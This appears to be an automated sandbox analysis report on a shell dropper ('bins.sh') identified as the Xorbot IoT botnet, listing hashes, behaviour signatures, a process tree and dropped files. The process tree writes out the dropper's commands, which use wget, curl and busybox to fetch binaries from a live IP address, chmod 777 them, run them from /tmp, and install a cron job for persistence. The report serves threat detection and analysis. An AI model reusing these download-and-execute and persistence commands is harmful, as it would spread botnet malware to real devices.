Analysis

  • max time kernel
    149s
  • max time network
    158s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    02/12/2024, 03:17

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    76cb499bf206bd1606439aa4cb42c17f

  • SHA1

    583a6a1e14a9d811f2e3da46dc1ed703c58c0bc4

  • SHA256

    c28f312b135f4744abe6cba8accf2b65bf9d89642e8c5e1b05c69e21dfd2b3ab

  • SHA512

    fcee5155d2be7d5569befd90710c34d50ae5b4c54a1c554e0fe0ed50e31e6c98fa6216e59a10a1eac872ef13523c987f9f780b67fc65201670fb33085cf27c24

  • SSDEEP

    96:leZwAhF+MMvCSiZ1r3W5IW9phh0UwTCSiZ1Hj3uKap+8X7V9phh0UwweZwAhFjW0:leZwAhFJMs3W5I6seZwAhF6c

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1946) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 10 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:649
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:651
        • /usr/bin/wget
          wget http://216.126.231.240/bins/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
          2⤵
          • Writes file to tmp directory
          PID:657
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:672
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
          2⤵
          • Writes file to tmp directory
          PID:679
        • /bin/chmod
          chmod 777 zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
          2⤵
          • File and Directory Permissions Modification
          PID:681
        • /tmp/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
          ./zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
          2⤵
          • Executes dropped EXE
          PID:682
        • /bin/rm
          rm zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
          2⤵
            PID:684
          • /usr/bin/wget
            wget http://216.126.231.240/bins/UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx
            2⤵
            • Writes file to tmp directory
            PID:685
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:689
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx
            2⤵
            • Writes file to tmp directory
            PID:697
          • /bin/chmod
            chmod 777 UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx
            2⤵
            • File and Directory Permissions Modification
            PID:701
          • /tmp/UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx
            ./UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:703
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:705
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:706
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:707
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:709
                • /bin/rm
                  rm UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx
                  2⤵
                    PID:712
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/DwVQdxjGCj20HoUbogObxKTMJtaLFg7rnV
                    2⤵
                      PID:716
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/DwVQdxjGCj20HoUbogObxKTMJtaLFg7rnV
                      2⤵
                        PID:718
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/DwVQdxjGCj20HoUbogObxKTMJtaLFg7rnV
                        2⤵
                        • Writes file to tmp directory
                        PID:776
                      • /bin/chmod
                        chmod 777 DwVQdxjGCj20HoUbogObxKTMJtaLFg7rnV
                        2⤵
                        • File and Directory Permissions Modification
                        PID:808
                      • /tmp/DwVQdxjGCj20HoUbogObxKTMJtaLFg7rnV
                        ./DwVQdxjGCj20HoUbogObxKTMJtaLFg7rnV
                        2⤵
                        • Executes dropped EXE
                        PID:810
                      • /bin/rm
                        rm DwVQdxjGCj20HoUbogObxKTMJtaLFg7rnV
                        2⤵
                          PID:812
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/KEJyUV3aK4t7mAULfStAHTnEc5sXybLOv5
                          2⤵
                            PID:815
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/KEJyUV3aK4t7mAULfStAHTnEc5sXybLOv5
                            2⤵
                              PID:817
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/KEJyUV3aK4t7mAULfStAHTnEc5sXybLOv5
                              2⤵
                              • Writes file to tmp directory
                              PID:820
                            • /bin/chmod
                              chmod 777 KEJyUV3aK4t7mAULfStAHTnEc5sXybLOv5
                              2⤵
                              • File and Directory Permissions Modification
                              PID:823
                            • /tmp/KEJyUV3aK4t7mAULfStAHTnEc5sXybLOv5
                              ./KEJyUV3aK4t7mAULfStAHTnEc5sXybLOv5
                              2⤵
                              • Executes dropped EXE
                              PID:825
                            • /bin/rm
                              rm KEJyUV3aK4t7mAULfStAHTnEc5sXybLOv5
                              2⤵
                                PID:827
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
                                2⤵
                                  PID:829
                                • /usr/bin/curl
                                  curl -O http://216.126.231.240/bins/f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
                                  2⤵
                                    PID:838
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:844
                                  • /bin/chmod
                                    chmod 777 f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:849
                                  • /tmp/f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
                                    ./f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
                                    2⤵
                                    • Executes dropped EXE
                                    PID:851
                                  • /bin/rm
                                    rm f806AmcB1GxbUH8krpqFZajtH5iRfxLflW
                                    2⤵
                                      PID:853
                                    • /usr/bin/wget
                                      wget http://216.126.231.240/bins/bpcfLI10AaUSuFpkt9BwUsmNnYIMMKzH07
                                      2⤵
                                        PID:855
                                      • /usr/bin/curl
                                        curl -O http://216.126.231.240/bins/bpcfLI10AaUSuFpkt9BwUsmNnYIMMKzH07
                                        2⤵
                                          PID:857
                                        • /bin/busybox
                                          /bin/busybox wget http://216.126.231.240/bins/bpcfLI10AaUSuFpkt9BwUsmNnYIMMKzH07
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:862
                                        • /bin/chmod
                                          chmod 777 bpcfLI10AaUSuFpkt9BwUsmNnYIMMKzH07
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:866
                                        • /tmp/bpcfLI10AaUSuFpkt9BwUsmNnYIMMKzH07
                                          ./bpcfLI10AaUSuFpkt9BwUsmNnYIMMKzH07
                                          2⤵
                                          • Executes dropped EXE
                                          PID:867
                                        • /bin/rm
                                          rm bpcfLI10AaUSuFpkt9BwUsmNnYIMMKzH07
                                          2⤵
                                            PID:871
                                          • /usr/bin/wget
                                            wget http://216.126.231.240/bins/kt0lH2WWO0IdEUNLYTAekmGNsy2RxzeCF6
                                            2⤵
                                              PID:873

                                          Network

                                          MITRE ATT&CK Enterprise v15

                                          Replay Monitor

                                          Loading Replay Monitor...

                                          Downloads

                                          • /tmp/DwVQdxjGCj20HoUbogObxKTMJtaLFg7rnV

                                            Filesize

                                            151KB

                                            MD5

                                            3c90d5820bddcf7c5d1bd21dfa49d958

                                            SHA1

                                            5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                            SHA256

                                            bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                            SHA512

                                            54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                          • /tmp/KEJyUV3aK4t7mAULfStAHTnEc5sXybLOv5

                                            Filesize

                                            99KB

                                            MD5

                                            9438d9bc392bcf300a5583b6df5bc8f6

                                            SHA1

                                            375a6ae34b516f6f3eeea8030c4084f585017efa

                                            SHA256

                                            68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                            SHA512

                                            1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                          • /tmp/UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx

                                            Filesize

                                            127KB

                                            MD5

                                            89077b7bd4bcafca7713be43635c4862

                                            SHA1

                                            fc02edb8fba29ea8ee99e6157ef8560334530052

                                            SHA256

                                            78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                            SHA512

                                            1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                          • /tmp/bpcfLI10AaUSuFpkt9BwUsmNnYIMMKzH07

                                            Filesize

                                            111KB

                                            MD5

                                            ca897a38f23ec23521ce0b1b83f8422d

                                            SHA1

                                            b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                            SHA256

                                            043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                            SHA512

                                            10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                          • /tmp/f806AmcB1GxbUH8krpqFZajtH5iRfxLflW

                                            Filesize

                                            151KB

                                            MD5

                                            6c583043d91c55aa470c08c87058e917

                                            SHA1

                                            abf65a5b9bba69980278ad09356e53de8bb89439

                                            SHA256

                                            2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                            SHA512

                                            82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                          • /tmp/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419

                                            Filesize

                                            98KB

                                            MD5

                                            5141342d0df8699fa32a6b066a0c592e

                                            SHA1

                                            8157673225bd5182f16215e2aa823a25ca2d4fbc

                                            SHA256

                                            54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                            SHA512

                                            d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                          • /var/spool/cron/crontabs/tmp.tWFHNz

                                            Filesize

                                            210B

                                            MD5

                                            654565d9f9185143240c957d5b3d89e4

                                            SHA1

                                            d0dc997e732fac05eda5e0e0a2d83e731ec32d43

                                            SHA256

                                            a3e862488c3cf7058f6ab084cb97893a5f039b516d88fe060a851b79de4f20e1

                                            SHA512

                                            92796bba935be93d5542345d4a3aef6797ab82aa1ea1110c77ef30141ae66567c930d2414181b20901f7c5cefe37d4eca4663b695ada0ac548943c1b55b2d3b9